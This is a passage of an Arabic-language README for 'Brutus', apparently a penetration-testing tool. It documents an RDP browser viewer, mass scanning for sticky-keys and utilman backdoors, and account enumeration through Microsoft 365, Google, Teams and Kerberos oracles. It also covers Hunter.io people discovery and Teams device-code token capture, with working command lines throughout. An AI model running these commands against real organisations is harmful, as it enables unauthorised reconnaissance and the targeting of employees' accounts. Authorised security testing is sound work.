يبدأ هذا خادم HTTP محلي مع:
- بث مباشر للشاشة بمعدل ~10 إطارات في الثانية (JPEG عبر WebSocket)
- إعادة توجيه لوحة المفاتيح بالكامل (رموز المسح PS/2 المعينة من حدث KeyboardEvent في المتصفح)
- دعم الفأرة (نقر، تحريك، نقر يمين)
- حالة الاتصال مع طبقة فصل وزر إعادة الاتصال
افتح عنوان URL المعروض (مثل http://127.0.0.1:<port>) في أي متصفح للتفاعل مع جلسة RDP البعيدة. إذا انفصلت الجلسة بسبب انتهاء مهلة الخمول من جانب الخادم، انقر فوق إعادة الاتصال لإنشاء جلسة جديدة.
ملاحظة: جلسات RDP غير NLA لها مهلة خمول من جانب الخادم (الإعداد الافتراضي لويندوز يختلف حسب التهيئة، ويتم التحكم فيه عادة بواسطة نهج المجموعة في
Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits). لتمديد المهلة على هدف الاختبار، قم بتعيينMaxIdleTimeإلى0في السجل:HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)
اعتبارات B-TP (إيجابي حقيقي حميد): قد يشير استبدال الباب الخلفي أيضًا إلى إجراءات استرداد كلمة المرور المنسية أو بقايا من اختبارات الاختراق المصرح بها.
مسح المسح الضوئي الشامل لـ RDP
للتقييمات واسعة النطاق، يقوم الأمر الفرعي logon بتشغيل اكتشاف الباب الخلفي عبر أهداف متعددة. يقبل إدخال الأنابيب، ملفات الأهداف، أو واردات nmap/masscan — يتم اختبار خدمات RDP فقط:```bash
Scan a /24 for sticky keys and utilman backdoors
naabu -host 10.0.0.0/24 -p 3389 -silent |
nerva --json |
brutus logon --json -o rdp-findings.json
Scan from nmap results
brutus logon --nmap-file scan.xml --json -o rdp-findings.json
Scan from targets file
brutus logon --targets-file rdp-targets.txt --json
Extract critical findings
jq 'select(.finding == "[CRITICAL]")' rdp-findings.json
**التنفيذ التقني:** يستخدم دعم بروتوكول RDP [IronRDP](https://github.com/Devolutions/IronRDP) (Rust) المترجم إلى WebAssembly والمنفذ عبر [wazero](https://github.com/tetratelabs/wazero)، مع الحفاظ على تصميم Brutus الخالي من CGO والثنائي الفردي.
---
## تعداد الحسابات
يقوم الأمر الفرعي `enum` بتعداد أوراكلات وجود الحسابات التي تعمل لمؤسسة ما (ويقوم بتعداد رسائل البريد الإلكتروني مقابلها) أو تعداد مستخدمي Active Directory، كل ذلك دون إرسال كلمات المرور.
### تعداد أوراكل وجود الحسابات
تحديد أوراكلات وجود الحسابات غير المصادق عليها (microsoft365, google, github, بالإضافة إلى أوراكل Microsoft Teams) التي تعمل لمؤسسة ما، والتحقق من صحتها مقابل مستخدم معروف الصلاحية، ثم تعداد رسائل البريد الإلكتروني المرشحة مقابل الأوراكلات العاملة. يكشف استطلاع DNS TXT عن الأوراكلات المرشحة؛ التحقق مقابل `--known-valid` هو العنوان الرئيسي. `--known-valid` مطلوب، ويتم التعداد فقط مقابل الأوراكلات التي تؤكده:```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]
# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]
# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]
# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]
# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]
تعداد مستخدمي Kerberos
تعداد أسماء مستخدمي Active Directory عبر Kerberos AS-REQ (بدون إرسال كلمات مرور، بدون خطر الإغلاق):```bash
Enumerate specific users
brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt
Enumerate from file
brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt
Generate usernames and pipe to Kerberos enum
brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -
### توليد البريد الإلكتروني/اسم المستخدم
توليد عناوين البريد الإلكتروني أو أسماء المستخدمين من قوائم الكلمات المضمنة للأسماء الأولى/الأخيرة:```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast
# Generate usernames only (no domain): jsmith
brutus enum generate --format flast
# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
brutus enum generate --domain example.com --format first.last
Hunter.io Domain Search
اكتشف الأشخاص (بريد إلكتروني، اسم، مسمى وظيفي، هاتف، قسم، أقدمية، ثقة) المرتبطين بنطاق عبر API Hunter.io Domain Search. يتم التصفح تلقائيًا حتى يتم استرداد جميع النتائج.```bash
Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)
export HUNTER_API_KEY=your_key_here
Discover people for a domain
brutus enum hunter --domain example.com
Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)
brutus enum hunter --domain example.com --api-key your_key_here
JSONL output to file (one record per person, with type:"hunter" discriminator)
brutus enum hunter --domain example.com --output people.jsonl
Adjust pagination page size (default: 100)
brutus enum hunter --domain example.com --limit 50
---
### مصادقة Microsoft Teams / Entra ID
احصل على رمز وصول OAuth2، ورمز التحديث، ورمز الهوية من Microsoft Entra ID (Azure AD) باستخدام [تدفق رمز الجهاز](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). يمكن استخدام الرموز الناتجة لإجراء استدعاءات Microsoft Graph API، وتعداد Teams، والتدقيق عبر أدوات مثل [ROADtools](https://github.com/dirkjanm/ROADtools) أو استعلامات Graph المخصصة.```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth
# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000
# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"
# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000
# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json
كيف يعمل:
- يطلب Brutus رمز جهاز من
login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode - يتم عرض رمز قصير وعنوان URL — افتح عنوان URL في أي متصفح وأدخل الرمز
- يستمر Brutus في الاستقصاء حتى تكمل تسجيل الدخول، أو تنتهي صلاحية الرمز، أو تضغط
Ctrl+C - عند النجاح، يتم طباعة رمز الوصول ورمز التحديث ورمز الهوية
الإخراج البشري يُظهر فقط أول 20 حرفًا من رمز الوصول (كافٍ للتحقق). استخدم --json أو -o للحصول على قيم الرمز الكاملة.
معرف العميل الافتراضي: تطبيق Microsoft Teams لسطح المكتب (1fec8e78-bce4-4aaf-ab1b-5451cc387264)، وهو عميل عام من طرف أول يدعم تدفق رمز الجهاز. قم بتجاوزه باستخدام --client-id لاستخدام تسجيل تطبيقك الخاص.```
$ brutus enum active teams auth --tenant contoso.com
[*] Starting Microsoft device code authentication...
[*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m
[*] Waiting for you to complete sign-in...
[+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:
#### تعداد مستخدمي Teams
بعد المصادقة، قم بتعداد مستخدمي Teams من الشركات عن طريق عنوان البريد الإلكتروني. كل نتيجة هي `exists`, `blocked` (المستأجر يمنع البحث الخارجي لكن المستخدم قد يكون موجودًا), `not found`, أو `unknown` (خطأ في المصادقة/النقل). الحسابات الشخصية/Live غير مدعومة — المستأجرون من الشركات فقط.```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]
# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000
# Enumerate emails from a file
brutus enum active teams users -E emails.txt
# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080
# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"
عندما يكون رمز التحديث متاحًا (عبر --token-file أو --refresh-token)، يتم تجديد رمز الوصول المنتهي تلقائيًا مرة واحدة؛ وإلا فإن 401 يتحول بلطف إلى نتيجة unknown.
تعداد حسابات Google Workspace
تحقق مما إذا كانت عناوين البريد الإلكتروني تتوافق مع حسابات Google باستخدام مؤشرين غير مصادق عليهما — لا حاجة إلى رمز أو تسجيل دخول:
- إعادة توجيه SSO الخاصة بـ AccountChooser — يكشف حسابات Workspace على النطاقات المكونة لتسجيل الدخول الموحد، بالإضافة إلى مضيف موفر الهوية (IdP) الذي يعيد التوجيه إليه (
workspace-sso). - استقصاء GXLU لجيميل — يكشف الحسابات الممكّنة لجيميل (
gmail).
كل نتيجة هي exists (مع طريقة التأكيد، وبالنسبة لـ SSO، مضيف IdP) أو not found.```bash
Enumerate a couple of emails
brutus enum active google -e [email protected],[email protected]
Generate candidate emails for a domain and enumerate the most-likely 5000
brutus enum active google --domain target.com --format first.last --limit 5000
Enumerate emails from a file
brutus enum active google -E emails.txt
Route through a SOCKS5 proxy and raise concurrency
brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20
`--domain` يعيد استخدام نفس مولد الأسماء الأولى/الأخيرة المرتبة حسب التردد مثل `enum generate`؛ `--format` يختار تخطيط اسم المستخدم و `--limit` يحدد التوليد إلى أول N (الأكثر احتمالاً) من المرشحين. يمكن دمج `--domain` مع `-e`/`-E`.
---
## القيود المعروفة
### الكشف الإرشادي لمفاتيح الالتصاق
- **تبديل السلبيات الكاذبة:** قد يُنتج الكشف الإرشادي فقط (`brutus logon` بدون `--experimental-ai`) سلبيات كاذبة عند الفحص المتكرر ضد نفس الهدف. بعد اكتشاف ناجح، تبقى نافذة cmd.exe مفتوحة على الخادم. ترى الاتصالات اللاحقة cmd.exe في الإطار الأساسي، وبما أن إرسال 5 ضغطات على Shift لا يُنشئ نافذة جديدة، فإن فرق البكسل يكون ضئيلاً — مما يؤدي إلى حكم "نظيف". لا يؤثر هذا على وضع `--experimental-ai` الذي يستخدم تحليل Vision API لإطار الاستجابة مباشرة (ليس فرق الأساس-والاستجابة) ويحدد نافذة الطرفية بشكل موثوق بغض النظر عن الحالة السابقة.
- **الحل البديل:** استخدم `--experimental-ai` مع تعيين `ANTHROPIC_API_KEY` للحصول على كشف ثابت عبر الفحوصات المتكررة، أو اسمح بفترة تهدئة بين الفحوصات لإعادة تعيين جلسة RDP.
### إضافة المتصفح
- يتطلب تثبيت Chrome/Chromium محليًا
- قد لا يعمل وضع الرأسية (Headless) على جميع الأنظمة
- بعض صفحات تسجيل الدخول كثيفة JavaScript قد تتطلب وقت انتظار إضافي